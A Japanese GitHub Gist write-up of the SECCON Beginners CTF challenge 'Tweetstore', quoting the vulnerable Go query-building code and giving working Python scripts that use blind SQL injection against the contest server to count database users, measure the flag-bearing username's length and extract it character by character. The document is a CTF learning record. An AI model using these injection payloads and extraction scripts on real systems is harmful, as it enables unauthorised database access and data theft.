Skip to content

Instantly share code, notes, and snippets.

@shun-shobon
Last active May 24, 2020 05:46
Show Gist options
  • Save shun-shobon/2b2bb6104ad0b756f84ab259b8e9dcff to your computer and use it in GitHub Desktop.
Save shun-shobon/2b2bb6104ad0b756f84ab259b8e9dcff to your computer and use it in GitHub Desktop.
SECCON for Beginners、TweetstoreのWriteup

このサイトへ攻撃を行う。

ツイート一覧が表示されているサイト。search wordに文字列、limitに数字を入力することで絞り込みが可能。

とりあえずSQLインジェクションかなと思ってsearch wordに1' OR 1 = 1; --と入力してみるとあっさり成功。

次にサーバーのソースコードを読んで見る。

// ...
func initialize() {
	var err error

	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
	db, err = sql.Open("postgres", connInfo)
	if err != nil {
		log.Fatal(err)
	}
}
// ...

どうやらデータベースのユーザー名がFLAGな模様。

func handler_index(w http.ResponseWriter, r *http.Request) {
	// ...
	search, ok := r.URL.Query()["search"]
	if ok {
		sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
	}

	sql += " order by tweeted_at desc"

	limit, ok := r.URL.Query()["limit"]
	if ok && (limit[0] != "") {
		sql += " limit " + strings.Split(limit[0], ";")[0]
	}

	var data []Tweets
	// ...
}

URLパラメーターのsearchlimitを読み取って、そこからSQL文を組み立てている。

データベースのユーザー数をブラインドSQLインジェクションで探索してみる。

import requests

url = 'https://tweetstore.quals.beginners.seccon.jp'
# ユーザー数探索スクリプト
for index in range(0, 100):
    sql = f'hoge\' OR (SELECT COUNT(*) FROM pg_user) = {index}; --'
    payload = {
        'search': sql,
        'limit': '#'
    }
    response = requests.get(url, params=payload)
    # レスポンスの長さで成功か失敗かを判断
    if len(response.text) > 2000:
        print(f'count: {index}')
        break

結果、ユーザー数は2だとわかった。2名しか居ないのでソートを昇順 or 降順にしてlimit 1すればユーザーを一つに絞ることができる。

(詳しくは書かないが、試行錯誤中に昇順にすることでFLAGのユーザーに絞ることができることがわかっている。)

次に、FLAGユーザーのユーザー名の長さを探索する。

import requests

url = 'https://tweetstore.quals.beginners.seccon.jp'
# FLAGの長さ探索スクリプト
for index in range(0, 100):
    sql = f'hoge\' OR (SELECT LENGTH(usename) FROM pg_user ORDER BY usename ASC LIMIT 1) = {index}; --'
    payload = {
        'search': sql,
        'limit': '#'
    }
    response = requests.get(url, params=payload)
    if len(response.text) > 2000:
        print(f'length: {index}')
        break

結果は31だった。ここからFLAGを一文字ずつ全探索していく。

SQL文中に'を使用すると何故か失敗してしまうのでASCIIコードとして評価する。

import requests

url = 'https://tweetstore.quals.beginners.seccon.jp'
# FLAGの文字を一文字ずつ全探索するスクリプト
for index in range(1, 32): # 前述のスクリプトでFLAGの長さは31とわかっている
    for char_number in range(48, 127):
        sql = f'hoge\' OR ASCII(SUBSTR((SELECT usename FROM pg_user ORDER BY usename ASC LIMIT 1), {index}, 1)) = {char_number}; --'
        payload = {
            'search': sql,
            'limit': '#'
        }
        response = requests.get(url, params=payload)
        if len(response.text) > 2000:
            print(chr(char_number), end='')
            break
print()

これでFLAGを発見することができた。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment